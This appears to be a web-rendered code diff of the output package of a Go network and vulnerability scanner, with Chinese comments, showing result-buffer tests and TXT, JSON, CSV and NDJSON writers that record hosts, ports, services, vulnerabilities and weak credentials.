if buf.ServiceResults[0].Details["server"] != "nginx/1.18.0" {
t.Error("不应降级到不完整的记录")
}
}
// =============================================================================
// 并发安全测试
// =============================================================================
// TestResultBuffer_ConcurrentAdd 测试并发添加
func TestResultBuffer_ConcurrentAdd(t *testing.T) {
buf := NewResultBuffer()
const goroutines = 100
const resultsPerGoroutine = 100
var wg sync.WaitGroup
wg.Add(goroutines)
for i := 0; i < goroutines; i++ {
go func(id int) {
defer wg.Done()
for j := 0; j < resultsPerGoroutine; j++ {
// 每个goroutine添加不同类型的结果
switch j % 4 {
case 0:
buf.Add(&ScanResult{
Type: TypeHost,
Target: fmt.Sprintf("192.168.%d.%d", id, j),
})
case 1:
buf.Add(&ScanResult{
Type: TypePort,
Target: fmt.Sprintf("192.168.%d.%d", id, j),
Details: map[string]interface{}{"port": j},
})
case 2:
buf.Add(&ScanResult{
Type: TypeService,
Target: fmt.Sprintf("192.168.%d.%d:%d", id, j, j),
})
case 3:
buf.Add(&ScanResult{
Type: TypeVuln,
Target: fmt.Sprintf("192.168.%d.%d", id, j),
Status: fmt.Sprintf("CVE-%d", j),
})
}
}
}(i)
}
wg.Wait()
// 验证没有panic,数据完整
hosts, ports, services, vulns := buf.Summary()
total := hosts + ports + services + vulns
if total == 0 {
t.Error("并发添加后应有结果")
}
t.Logf("并发测试完成: %d hosts, %d ports, %d services, %d vulns",
hosts, ports, services, vulns)
}
// TestResultBuffer_ConcurrentSummary 测试并发获取摘要
func TestResultBuffer_ConcurrentSummary(t *testing.T) {
buf := NewResultBuffer()
// 预填充一些数据
for i := 0; i < 100; i++ {
buf.Add(&ScanResult{
Type: TypeHost,
Target: fmt.Sprintf("192.168.1.%d", i),
})
}
var wg sync.WaitGroup
wg.Add(100)
for i := 0; i < 100; i++ {
go func() {
defer wg.Done()
// 同时获取摘要和添加
buf.Summary()
buf.Add(&ScanResult{
Type: TypeHost,
Target: "10.0.0.1",
})
}()
}
wg.Wait()
// 没有panic即为成功
}
// =============================================================================
// 边界情况测试
// =============================================================================
// TestResultBuffer_NilResult 测试nil结果
func TestResultBuffer_NilResult(t *testing.T) {
buf := NewResultBuffer()
buf.Add(nil) // 不应panic
hosts, ports, services, vulns := buf.Summary()
if hosts+ports+services+vulns != 0 {
t.Error("添加nil后应无结果")
}
}
// TestResultBuffer_PortWithoutDetails 测试无Details的端口
func TestResultBuffer_PortWithoutDetails(t *testing.T) {
buf := NewResultBuffer()
buf.Add(&ScanResult{
Type: TypePort,
Target: "192.168.1.1",
Details: nil,
})
_, ports, _, _ := buf.Summary()
if ports != 1 {
t.Error("无Details的端口也应被添加")
}
}
// TestResultBuffer_Clear 测试清空
func TestResultBuffer_Clear(t *testing.T) {
buf := NewResultBuffer()
// 添加各类结果
buf.Add(&ScanResult{Type: TypeHost, Target: "192.168.1.1"})
buf.Add(&ScanResult{Type: TypePort, Target: "192.168.1.1", Details: map[string]interface{}{"port": 80}})
buf.Add(&ScanResult{Type: TypeService, Target: "192.168.1.1:80"})
buf.Add(&ScanResult{Type: TypeVuln, Target: "192.168.1.1", Status: "CVE-2021-1234"})
// 清空
buf.Clear()
hosts, ports, services, vulns := buf.Summary()
if hosts+ports+services+vulns != 0 {
t.Error("Clear后应无结果")
}
// 验证可以继续添加
buf.Add(&ScanResult{Type: TypeHost, Target: "10.0.0.1"})
hosts, _, _, _ = buf.Summary()
if hosts != 1 {
t.Error("Clear后应能继续添加")
}
}
// TestResultBuffer_EmptyFingerprints 测试空指纹数组
func TestResultBuffer_EmptyFingerprints(t *testing.T) {
buf := NewResultBuffer()
// 空字符串数组
score1 := buf.CalculateCompleteness(&ScanResult{
Details: map[string]interface{}{"fingerprints": []string{}},
})
if score1 != 0 {
t.Errorf("空指纹数组不应加分,实际 %d", score1)
}
// 空interface数组
score2 := buf.CalculateCompleteness(&ScanResult{
Details: map[string]interface{}{"fingerprints": []interface{}{}},
})
if score2 != 0 {
t.Errorf("空interface数组不应加分,实际 %d", score2)
}
}
// TestResultBuffer_StatusZero 测试status为0
func TestResultBuffer_StatusZero(t *testing.T) {
buf := NewResultBuffer()
score := buf.CalculateCompleteness(&ScanResult{
Details: map[string]interface{}{"status": 0},
})
if score != 0 {
t.Errorf("status为0不应加分,实际 %d", score)
}
}
+58
View File
@@ -0,0 +1,58 @@
package output
import (
"os"
)
// =============================================================================
// 输出格式常量
// =============================================================================
// Format 输出格式类型
type Format string
const (
// FormatTXT 文本格式输出
FormatTXT Format = "txt"
// FormatJSON JSON格式输出
FormatJSON Format = "json"
// FormatCSV CSV格式输出
FormatCSV Format = "csv"
)
// =============================================================================
// 结果类型常量
// =============================================================================
// ResultType 定义结果类型
type ResultType string
const (
// TypeHost 主机存活
TypeHost ResultType = "HOST"
// TypePort 端口开放
TypePort ResultType = "PORT"
// TypeService 服务识别
TypeService ResultType = "SERVICE"
// TypeVuln 漏洞发现
TypeVuln ResultType = "VULN"
)
// =============================================================================
// 文件操作常量
// =============================================================================
const (
// DefaultFilePermissions 文件操作权限
DefaultFilePermissions = 0644
// DefaultDirPermissions 目录操作权限
DefaultDirPermissions = 0755
// DefaultFileFlags 文件打开标志
DefaultFileFlags = os.O_CREATE | os.O_WRONLY | os.O_APPEND
// JSONIndentPrefix JSON格式化前缀
JSONIndentPrefix = ""
// JSONIndentString JSON格式化缩进字符串
JSONIndentString = " "
)
+113
View File
@@ -0,0 +1,113 @@
package output
import (
"fmt"
"os"
"path/filepath"
"sync"
)
// Manager 简化的输出管理器
type Manager struct {
mu sync.RWMutex
config *ManagerConfig
writer Writer
closed bool
}
// NewManager 创建新的输出管理器
func NewManager(config *ManagerConfig) (*Manager, error) {
if config == nil {
return nil, fmt.Errorf("output config cannot be nil")
}
// 创建输出目录
if err := createOutputDir(config.OutputPath); err != nil {
return nil, err
}
manager := &Manager{
config: config,
}
// 初始化写入器(内部会验证格式)
if err := manager.initializeWriter(); err != nil {
return nil, err
}
return manager, nil
}
// createOutputDir 创建输出目录
func createOutputDir(outputPath string) error {
dir := filepath.Dir(outputPath)
return os.MkdirAll(dir, DefaultDirPermissions)
}
// initializeWriter 初始化写入器
func (m *Manager) initializeWriter() error {
var writer Writer
var err error
switch m.config.Format {
case FormatTXT:
writer, err = NewTXTWriter(m.config.OutputPath)
case FormatJSON:
writer, err = NewJSONWriter(m.config.OutputPath)
case FormatCSV:
writer, err = NewCSVWriter(m.config.OutputPath)
default:
return fmt.Errorf("unsupported format: %s", m.config.Format)
}
if err != nil {
return err
}
m.writer = writer
return m.writer.WriteHeader()
}
// SaveResult 保存扫描结果
func (m *Manager) SaveResult(result *ScanResult) error {
m.mu.RLock()
defer m.mu.RUnlock()
if m.closed {
return fmt.Errorf("output manager is closed")
}
if result == nil {
return fmt.Errorf("result cannot be nil")
}
return m.writer.Write(result)
}
// Flush 刷新输出
func (m *Manager) Flush() error {
m.mu.RLock()
defer m.mu.RUnlock()
if m.closed {
return fmt.Errorf("output manager is closed")
}
return m.writer.Flush()
}
// Close 关闭输出管理器
func (m *Manager) Close() error {
m.mu.Lock()
defer m.mu.Unlock()
if m.closed {
return nil
}
m.closed = true
if m.writer != nil {
return m.writer.Close()
}
return nil
}
+145
View File
@@ -0,0 +1,145 @@
package output
import (
"bufio"
"encoding/json"
"fmt"
"os"
"strings"
"sync"
)
type StdoutNDJSONWriter struct {
mu sync.Mutex
writer *bufio.Writer
}
func NewStdoutNDJSONWriter() *StdoutNDJSONWriter {
return &StdoutNDJSONWriter{
writer: bufio.NewWriter(os.Stdout),
}
}
// ndjsonRecord NDJSON 输出的扁平化结构
type ndjsonRecord struct {
Type ResultType `json:"type"`
Target string `json:"target"`
Status string `json:"status"`
Host string `json:"host,omitempty"`
Port int `json:"port,omitempty"`
Service string `json:"service,omitempty"`
// 通用可选字段
Protocol string `json:"protocol,omitempty"`
Banner string `json:"banner,omitempty"`
Title string `json:"title,omitempty"`
URL string `json:"url,omitempty"`
// 漏洞/弱口令
Vulnerability string `json:"vulnerability,omitempty"`
Username string `json:"username,omitempty"`
Password string `json:"password,omitempty"`
// 其他
Plugin string `json:"plugin,omitempty"`
Version string `json:"version,omitempty"`
OS string `json:"os,omitempty"`
}
func (w *StdoutNDJSONWriter) WriteResult(result *ScanResult) error {
w.mu.Lock()
defer w.mu.Unlock()
rec := w.flatten(result)
data, err := json.Marshal(rec)
if err != nil {
return err
}
data = append(data, '\n')
if _, err := w.writer.Write(data); err != nil {
return err
}
return w.writer.Flush()
}
func (w *StdoutNDJSONWriter) flatten(r *ScanResult) *ndjsonRecord {
rec := &ndjsonRecord{
Type: r.Type,
Target: r.Target,
Status: r.Status,
}
// 从 target 拆分 host:port
if host, port, ok := splitHostPort(r.Target); ok {
rec.Host = host
rec.Port = port
} else {
rec.Host = r.Target
}
d := r.Details
if d == nil {
return rec
}
// 从 details 提升一级字段(覆盖拆分结果)
if v, ok := d["port"]; ok {
if p, ok := toInt(v); ok {
rec.Port = p
}
}
rec.Service = strVal(d, "service")
rec.Protocol = strVal(d, "protocol")
rec.Banner = strVal(d, "banner")
rec.Title = strVal(d, "title")
rec.URL = strVal(d, "url")
rec.Vulnerability = strVal(d, "vulnerability")
rec.Username = strVal(d, "username")
rec.Password = strVal(d, "password")
rec.Plugin = strVal(d, "plugin")
rec.Version = strVal(d, "version")
rec.OS = strVal(d, "os")
return rec
}
func (w *StdoutNDJSONWriter) Close() error {
w.mu.Lock()
defer w.mu.Unlock()
return w.writer.Flush()
}
func strVal(d map[string]interface{}, key string) string {
v, ok := d[key]
if !ok {
return ""
}
s, ok := v.(string)
if !ok {
return fmt.Sprintf("%v", v)
}
return s
}
func toInt(v interface{}) (int, bool) {
switch n := v.(type) {
case int:
return n, true
case int64:
return int(n), true
case float64:
return int(n), true
}
return 0, false
}
func splitHostPort(target string) (string, int, bool) {
idx := strings.LastIndex(target, ":")
if idx < 0 {
return "", 0, false
}
host := target[:idx]
var port int
if _, err := fmt.Sscanf(target[idx+1:], "%d", &port); err != nil {
return "", 0, false
}
return host, port, true
}
+59
View File
@@ -0,0 +1,59 @@
package output
import (
"fmt"
"sort"
"strings"
"time"
)
// ScanResult 扫描结果结构
type ScanResult struct {
Time time.Time `json:"time"` // 发现时间
Type ResultType `json:"type"` // 结果类型
Target string `json:"target"` // 目标(IP/域名/URL)
Status string `json:"status"` // 状态描述
Details map[string]interface{} `json:"details"` // 详细信息
}
// FormatDetails 格式化Details为键值对字符串(排序key以保证输出稳定)
func (r *ScanResult) FormatDetails(separator, kvFormat string) string {
if len(r.Details) == 0 {
return ""
}
keys := make([]string, 0, len(r.Details))
for key := range r.Details {
keys = append(keys, key)
}
sort.Strings(keys)
pairs := make([]string, 0, len(keys))
for _, key := range keys {
pairs = append(pairs, fmt.Sprintf(kvFormat, key, r.Details[key]))
}
return strings.Join(pairs, separator)
}
// Writer 输出写入器接口
type Writer interface {
Write(result *ScanResult) error
WriteHeader() error
Flush() error
Close() error
GetFormat() Format
}
// ManagerConfig 输出管理器配置
type ManagerConfig struct {
OutputPath string `json:"output_path"` // 输出路径
Format Format `json:"format"` // 输出格式
}
// DefaultManagerConfig 默认管理器配置
func DefaultManagerConfig(outputPath string, format Format) *ManagerConfig {
return &ManagerConfig{
OutputPath: outputPath,
Format: format,
}
}
+784
View File
@@ -0,0 +1,784 @@
package output
import (
"bufio"
"encoding/csv"
"encoding/json"
"fmt"
"os"
"strings"
"sync"
"time"
)
// escapeControlChars 转义控制字符
func escapeControlChars(s string) string {
s = strings.ToValidUTF8(s, "?")
var b strings.Builder
for _, r := range s {
switch r {
case '\n':
b.WriteString("\\n")
case '\r':
b.WriteString("\\r")
case '\t':
b.WriteString("\\t")
default:
if r < 0x20 || r == 0x7f {
fmt.Fprintf(&b, "\\x%02x", r)
continue
}
b.WriteRune(r)
}
}
return b.String()
}
// =============================================================================
// TXTWriter - 文本格式写入器
// =============================================================================
// TXTWriter 文本格式写入器(分类缓冲,按类型聚合输出)
type TXTWriter struct {
file *os.File
bufWriter *bufio.Writer
mu sync.Mutex
closed bool
buffer *ResultBuffer // 内存分类缓冲
realtimeFile *os.File // 实时备份文件
realtimePath string // 实时备份文件路径
}
// NewTXTWriter 创建文本写入器
func NewTXTWriter(filePath string) (*TXTWriter, error) {
file, err := os.OpenFile(filePath, DefaultFileFlags, DefaultFilePermissions)
if err != nil {
return nil, fmt.Errorf("failed to create TXT file: %w", err)
}
// 创建实时备份文件(防崩溃丢数据)
realtimePath := filePath + ".realtime.tmp"
realtimeFile, err := os.OpenFile(realtimePath, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, DefaultFilePermissions)
if err != nil {
file.Close()
return nil, fmt.Errorf("failed to create realtime backup file: %w", err)
}
return &TXTWriter{
file: file,
bufWriter: bufio.NewWriter(file),
buffer: NewResultBuffer(),
realtimeFile: realtimeFile,
realtimePath: realtimePath,
}, nil
}
// WriteHeader 写入头部
func (w *TXTWriter) WriteHeader() error {
return nil
}
// Write 收集扫描结果到分类缓冲,同时实时备份
func (w *TXTWriter) Write(result *ScanResult) error {
w.mu.Lock()
defer w.mu.Unlock()
if w.closed {
return fmt.Errorf("writer is closed")
}
if result == nil {
return fmt.Errorf("result cannot be nil")
}
// 1. 加入内存分类缓冲(用于最终有序输出)
w.buffer.Add(result)
// 2. 实时写入备份文件(防崩溃丢数据)
if w.realtimeFile != nil {
line := w.formatLine(result)
if _, err := w.realtimeFile.WriteString(line + "\n"); err != nil {
return fmt.Errorf("failed to write realtime backup: %w", err)
}
if err := w.realtimeFile.Sync(); err != nil {
return fmt.Errorf("failed to sync realtime backup: %w", err)
}
}
return nil
}
// getSeparator 获取分隔线文本
func (w *TXTWriter) getSeparator(newType ResultType) string {
switch newType {
case TypeHost:
return "# ===== 存活主机 ====="
case TypePort:
return "# ===== 开放端口 ====="
case TypeService:
return "# ===== 服务信息 ====="
case TypeVuln:
return "# ===== 漏洞信息 ====="
default:
return "# ===================="
}
}
// formatLine 根据结果类型格式化输出行
func (w *TXTWriter) formatLine(result *ScanResult) string {
switch result.Type {
case TypeHost:
return result.Target
case TypePort:
port := w.getDetail(result, "port")
if port != nil {
return fmt.Sprintf("%s:%v", result.Target, port)
}
return result.Target
case TypeService:
return w.formatServiceLine(result)
case TypeVuln:
return w.formatVulnLine(result)
default:
return result.Target
}
}
// formatServiceLine 格式化服务识别结果
func (w *TXTWriter) formatServiceLine(result *ScanResult) string {
service := w.getDetailStr(result, "service")
banner := w.getDetailStr(result, "banner")
// 判断是否为Web服务
isWebFlag := false
if v, ok := w.getDetail(result, "is_web").(bool); ok && v {
isWebFlag = true
}
if !isWebFlag {
if w.getDetail(result, "status") != nil || w.getDetailStr(result, "server") != "" {
isWebFlag = true
}
}
if isWebFlag || service == "http" || service == "https" {
return w.formatWebServiceLine(result)
}
// 非Web服务:ip:port service banner
target := result.Target
if !strings.Contains(target, ":") {
if port := w.getDetail(result, "port"); port != nil {
target = fmt.Sprintf("%s:%v", target, port)
}
}
var parts []string
parts = append(parts, target)
if service != "" {
parts = append(parts, service)
}
if banner != "" {
if len(banner) > 100 {
banner = banner[:100] + "..."
}
banner = escapeControlChars(banner)
parts = append(parts, banner)
}
return strings.Join(parts, " ")
}
// formatWebServiceLine 格式化Web服务结果
func (w *TXTWriter) formatWebServiceLine(result *ScanResult) string {
target := result.Target
if !strings.Contains(target, ":") {
if port := w.getDetail(result, "port"); port != nil {
target = fmt.Sprintf("%s:%v", target, port)
}
}
url := fmt.Sprintf("%s://%s", w.webProtocol(result, target), target)
title := w.getDetailStr(result, "title")
status := w.getDetail(result, "status")
server := w.getDetailStr(result, "server")
fingerprints := w.getFingerprints(result)
var parts []string
parts = append(parts, url)
if title != "" {
parts = append(parts, fmt.Sprintf("[%s]", title))
}
if status != nil && status != 0 {
parts = append(parts, fmt.Sprintf("%v", status))
}
if server != "" {
parts = append(parts, server)
}
if len(fingerprints) > 0 {
parts = append(parts, fingerprints)
}
return strings.Join(parts, " ")
}
// getFingerprints 获取指纹信息并格式化
func (w *TXTWriter) getFingerprints(result *ScanResult) string {
fp := w.getDetail(result, "fingerprints")
if fp == nil {
return ""
}
switch v := fp.(type) {
case []string:
if len(v) > 0 {
return "[" + strings.Join(v, ",") + "]"
}
case []interface{}:
if len(v) > 0 {
var fps []string
for _, f := range v {
fps = append(fps, fmt.Sprintf("%v", f))
}
return "[" + strings.Join(fps, ",") + "]"
}
}
return ""
}
// formatVulnLine 格式化漏洞发现结果
func (w *TXTWriter) formatVulnLine(result *ScanResult) string {
vulnType := w.getDetailStr(result, "type")
if vulnType == "weak_credential" {
username := w.getDetailStr(result, "username")
password := w.getDetailStr(result, "password")
service := w.getDetailStr(result, "service")
if service != "" {
return fmt.Sprintf("%s %s %s/%s", result.Target, service, username, password)
}
return fmt.Sprintf("%s %s/%s", result.Target, username, password)
}
vuln := w.getDetailStr(result, "vulnerability")
if vuln != "" {
return fmt.Sprintf("%s %s", result.Target, vuln)
}
return fmt.Sprintf("%s %s", result.Target, result.Status)
}
// getDetail 获取详情字段值
func (w *TXTWriter) getDetail(result *ScanResult, key string) interface{} {
if result.Details == nil {
return nil
}
return result.Details[key]
}
// getDetailStr 获取详情字段字符串值
func (w *TXTWriter) getDetailStr(result *ScanResult, key string) string {
val := w.getDetail(result, key)
if val == nil {
return ""
}
if s, ok := val.(string); ok {
return s
}
return fmt.Sprintf("%v", val)
}
// Flush 刷新写入器
func (w *TXTWriter) Flush() error {
w.mu.Lock()
defer w.mu.Unlock()
if w.closed {
return nil
}
if err := w.bufWriter.Flush(); err != nil {
return err
}
return w.file.Sync()
}
// Close 关闭写入器(清理资源,删除临时备份)
func (w *TXTWriter) Close() error {
w.mu.Lock()
defer w.mu.Unlock()
if w.closed {
return nil
}
// 按顺序写入所有分类结果
w.writeSection(TypeHost, w.buffer.HostResults)
w.writeSection(TypePort, w.buffer.PortResults)
w.writeSection(TypeService, w.buffer.ServiceResults)
w.writeSection(TypeVuln, w.buffer.VulnResults)
// 单独输出 Web 服务列表(便于复制测试)
w.writeWebServices()
w.closed = true
// 关闭并删除实时备份文件(正常结束,不再需要)
if w.realtimeFile != nil {
w.realtimeFile.Close()
os.Remove(w.realtimePath)
}
if err := w.bufWriter.Flush(); err != nil {
return err
}
if err := w.file.Sync(); err != nil {
return err
}
return w.file.Close()
}
// writeSection 写入一个分类的所有结果
func (w *TXTWriter) writeSection(resultType ResultType, results []*ScanResult) {
if len(results) == 0 {
return
}
separator := w.getSeparator(resultType)
_, _ = w.bufWriter.WriteString(separator + "\n")
for _, result := range results {
line := w.formatLine(result)
if line != "" {
_, _ = w.bufWriter.WriteString(line + "\n")
}
}
_, _ = w.bufWriter.WriteString("\n")
}
// writeWebServices 单独输出 Web 服务 URL 列表
func (w *TXTWriter) writeWebServices() {
var urls []string
for _, result := range w.buffer.ServiceResults {
if !w.isWebService(result) {
continue
}
target := result.Target
if !strings.Contains(target, ":") {
if port := w.getDetail(result, "port"); port != nil {
target = fmt.Sprintf("%s:%v", target, port)
}
}
urls = append(urls, fmt.Sprintf("%s://%s", w.webProtocol(result, target), target))
}
if len(urls) == 0 {
return
}
_, _ = w.bufWriter.WriteString("# ===== Web服务 =====\n")
for _, url := range urls {
_, _ = w.bufWriter.WriteString(url + "\n")
}
_, _ = w.bufWriter.WriteString("\n")
}
// isWebService 判断是否为 Web 服务
func (w *TXTWriter) isWebService(result *ScanResult) bool {
if v, ok := w.getDetail(result, "is_web").(bool); ok && v {
return true
}
if w.getDetail(result, "status") != nil {
return true
}
if w.getDetailStr(result, "server") != "" {
return true
}
service := w.getDetailStr(result, "service")
return service == "http" || service == "https"
}
func (w *TXTWriter) webProtocol(result *ScanResult, target string) string {
protocol := strings.ToLower(w.getDetailStr(result, "protocol"))
if protocol == "http" || protocol == "https" {
return protocol
}
service := strings.ToLower(w.getDetailStr(result, "service"))
if service == "https" || strings.Contains(target, ":443") {
return "https"
}
return "http"
}
// GetFormat 获取格式类型
func (w *TXTWriter) GetFormat() Format {
return FormatTXT
}
// =============================================================================
// JSONWriter - JSON格式写入器
// =============================================================================
// JSONWriter JSON格式写入器(分类去重,输出完整JSON)
// 双写机制:内存分类缓冲 + 实时NDJSON备份
type JSONWriter struct {
file *os.File
mu sync.Mutex
closed bool
buffer *ResultBuffer
realtimeFile *os.File // 实时备份文件(NDJSON格式)
realtimePath string // 实时备份文件路径
}
// JSONOutput JSON输出结构
type JSONOutput struct {
ScanTime time.Time `json:"scan_time"`
Summary JSONSummary `json:"summary"`
Hosts []*ScanResult `json:"hosts,omitempty"`
Ports []*ScanResult `json:"ports,omitempty"`
Services []*ScanResult `json:"services,omitempty"`
Vulns []*ScanResult `json:"vulns,omitempty"`
}
// JSONSummary 扫描摘要
type JSONSummary struct {
TotalHosts int `json:"total_hosts"`
TotalPorts int `json:"total_ports"`
TotalServices int `json:"total_services"`
TotalVulns int `json:"total_vulns"`
}
// NewJSONWriter 创建JSON写入器
func NewJSONWriter(filePath string) (*JSONWriter, error) {
file, err := os.OpenFile(filePath, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, DefaultFilePermissions)
if err != nil {
return nil, fmt.Errorf("failed to create JSON file: %w", err)
}
// 创建实时备份文件(NDJSON格式,每行一个JSON对象)
realtimePath := filePath + ".realtime.tmp"
realtimeFile, err := os.OpenFile(realtimePath, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, DefaultFilePermissions)
if err != nil {
file.Close()
return nil, fmt.Errorf("failed to create realtime backup file: %w", err)
}
return &JSONWriter{
file: file,
buffer: NewResultBuffer(),
realtimeFile: realtimeFile,
realtimePath: realtimePath,
}, nil
}
// WriteHeader 写入头部
func (w *JSONWriter) WriteHeader() error {
return nil
}
// Write 收集扫描结果,同时实时写入备份文件
func (w *JSONWriter) Write(result *ScanResult) error {
w.mu.Lock()
defer w.mu.Unlock()
if w.closed {
return fmt.Errorf("writer is closed")
}
if result == nil {
return fmt.Errorf("result cannot be nil")
}
// 1. 加入内存分类缓冲(用于最终有序输出)
w.buffer.Add(result)
// 2. 实时写入备份文件(NDJSON格式,防崩溃丢失)
if w.realtimeFile != nil {
data, err := json.Marshal(result)
if err != nil {
return fmt.Errorf("failed to marshal result: %w", err)
}
if _, err := w.realtimeFile.Write(append(data, '\n')); err != nil {
return fmt.Errorf("failed to write realtime backup: %w", err)
}
if err := w.realtimeFile.Sync(); err != nil {
return fmt.Errorf("failed to sync realtime backup: %w", err)
}
}
return nil
}
// Flush 刷新写入器
func (w *JSONWriter) Flush() error {
return nil
}
// Close 关闭写入器(写入完整JSON,删除临时备份)
func (w *JSONWriter) Close() error {
w.mu.Lock()
defer w.mu.Unlock()
if w.closed {
return nil
}
hosts, ports, services, vulns := w.buffer.Summary()
output := JSONOutput{
ScanTime: time.Now(),
Summary: JSONSummary{
TotalHosts: hosts,
TotalPorts: ports,
TotalServices: services,
TotalVulns: vulns,
},
Hosts: w.buffer.HostResults,
Ports: w.buffer.PortResults,
Services: w.buffer.ServiceResults,
Vulns: w.buffer.VulnResults,
}
data, err := json.MarshalIndent(output, JSONIndentPrefix, JSONIndentString)
if err != nil {
return err
}
w.closed = true
// 关闭并删除实时备份文件(正常结束,不再需要)
if w.realtimeFile != nil {
w.realtimeFile.Close()
os.Remove(w.realtimePath)
}
if _, err := w.file.Write(data); err != nil {
return err
}
return w.file.Close()
}
// GetFormat 获取格式类型
func (w *JSONWriter) GetFormat() Format {
return FormatJSON
}
// =============================================================================
// CSVWriter - CSV格式写入器
// =============================================================================
// CSVWriter CSV格式写入器(分类去重)
// 双写机制:内存分类缓冲 + 实时NDJSON备份
type CSVWriter struct {
file *os.File
bufWriter *bufio.Writer
csvWriter *csv.Writer
mu sync.Mutex
closed bool
buffer *ResultBuffer
realtimeFile *os.File // 实时备份文件(NDJSON格式)
realtimePath string // 实时备份文件路径
}
// NewCSVWriter 创建CSV写入器
func NewCSVWriter(filePath string) (*CSVWriter, error) {
file, err := os.OpenFile(filePath, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, DefaultFilePermissions)
if err != nil {
return nil, fmt.Errorf("failed to create CSV file: %w", err)
}
// 创建实时备份文件(NDJSON格式)
realtimePath := filePath + ".realtime.tmp"
realtimeFile, err := os.OpenFile(realtimePath, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, DefaultFilePermissions)
if err != nil {
file.Close()
return nil, fmt.Errorf("failed to create realtime backup file: %w", err)
}
bufWriter := bufio.NewWriter(file)
csvWriter := csv.NewWriter(bufWriter)
return &CSVWriter{
file: file,
bufWriter: bufWriter,
csvWriter: csvWriter,
buffer: NewResultBuffer(),
realtimeFile: realtimeFile,
realtimePath: realtimePath,
}, nil
}
// WriteHeader 写入CSV头部
func (w *CSVWriter) WriteHeader() error {
return nil // 延迟到Close时写入
}
// Write 收集扫描结果,同时实时写入备份文件
func (w *CSVWriter) Write(result *ScanResult) error {
w.mu.Lock()
defer w.mu.Unlock()
if w.closed {
return fmt.Errorf("writer is closed")
}
if result == nil {
return fmt.Errorf("result cannot be nil")
}
// 1. 加入内存分类缓冲(用于最终有序输出)
w.buffer.Add(result)
// 2. 实时写入备份文件(NDJSON格式,防崩溃丢失)
if w.realtimeFile != nil {
data, err := json.Marshal(result)
if err != nil {
return fmt.Errorf("failed to marshal result: %w", err)
}
if _, err := w.realtimeFile.Write(append(data, '\n')); err != nil {
return fmt.Errorf("failed to write realtime backup: %w", err)
}
if err := w.realtimeFile.Sync(); err != nil {
return fmt.Errorf("failed to sync realtime backup: %w", err)
}
}
return nil
}
// Flush 刷新写入器
func (w *CSVWriter) Flush() error {
return nil
}
// Close 关闭写入器(按类型分组写入,删除临时备份)
func (w *CSVWriter) Close() error {
w.mu.Lock()
defer w.mu.Unlock()
if w.closed {
return nil
}
// 写入各分类
w.writeSection("# Hosts", []string{"Target"}, w.buffer.HostResults, w.formatHostRecord)
w.writeSection("# Ports", []string{"Target", "Port", "Status"}, w.buffer.PortResults, w.formatPortRecord)
w.writeSection("# Services", []string{"Target", "Service", "Version", "Title", "Status", "Server", "Fingerprints", "Banner"}, w.buffer.ServiceResults, w.formatServiceRecord)
w.writeSection("# Vulns", []string{"Target", "Type", "Details"}, w.buffer.VulnResults, w.formatVulnRecord)
w.closed = true
// 关闭并删除实时备份文件(正常结束,不再需要)
if w.realtimeFile != nil {
w.realtimeFile.Close()
os.Remove(w.realtimePath)
}
w.csvWriter.Flush()
if err := w.csvWriter.Error(); err != nil {
return err
}
if err := w.bufWriter.Flush(); err != nil {
return err
}
return w.file.Close()
}
func (w *CSVWriter) writeSection(title string, headers []string, results []*ScanResult, formatter func(*ScanResult) []string) {
if len(results) == 0 {
return
}
_ = w.csvWriter.Write([]string{title})
_ = w.csvWriter.Write(headers)
for _, result := range results {
_ = w.csvWriter.Write(formatter(result))
}
_ = w.csvWriter.Write([]string{})
}
func (w *CSVWriter) formatHostRecord(result *ScanResult) []string {
return []string{result.Target}
}
func (w *CSVWriter) formatPortRecord(result *ScanResult) []string {
port := ""
if result.Details != nil {
if p, ok := result.Details["port"]; ok {
port = fmt.Sprintf("%v", p)
}
}
return []string{result.Target, port, "open"}
}
func (w *CSVWriter) formatServiceRecord(result *ScanResult) []string {
service, version, title, status, server, fingerprints, banner := "", "", "", "", "", "", ""
if result.Details != nil {
if s, ok := result.Details["service"].(string); ok {
service = s
}
if s, ok := result.Details["name"].(string); ok && service == "" {
service = s
}
if s, ok := result.Details["plugin"].(string); ok && service == "" {
service = s
}
if v, ok := result.Details["version"].(string); ok {
version = v
}
if t, ok := result.Details["title"].(string); ok {
title = escapeControlChars(t)
}
if s, ok := result.Details["status"]; ok && s != nil && s != 0 {
status = fmt.Sprintf("%v", s)
}
if s, ok := result.Details["server"].(string); ok {
server = escapeControlChars(s)
}
fingerprints = formatFingerprints(result.Details["fingerprints"])
if b, ok := result.Details["banner"].(string); ok {
banner = escapeControlChars(b)
if len(banner) > 100 {
banner = banner[:100] + "..."
}
}
}
target := result.Target
if !strings.Contains(target, ":") {
if p, ok := result.Details["port"]; ok {
target = fmt.Sprintf("%s:%v", target, p)
}
}
return []string{target, service, version, title, status, server, fingerprints, banner}
}
func formatFingerprints(value interface{}) string {
switch v := value.(type) {
case []string:
return strings.Join(v, ",")
case []interface{}:
parts := make([]string, 0, len(v))
for _, item := range v {
if s, ok := item.(string); ok && s != "" {
parts = append(parts, s)
}
}
return strings.Join(parts, ",")
default:
return ""
}
}
func (w *CSVWriter) formatVulnRecord(result *ScanResult) []string {
vulnType := ""
if result.Details != nil {
if t, ok := result.Details["type"].(string); ok {
vulnType = t
}
}
return []string{result.Target, vulnType, result.Status}
}
// GetFormat 获取格式类型
func (w *CSVWriter) GetFormat() Format {
return FormatCSV
}
File diff suppressed because it is too large Load Diff

Some files were not shown because too many files have changed in this diff Show More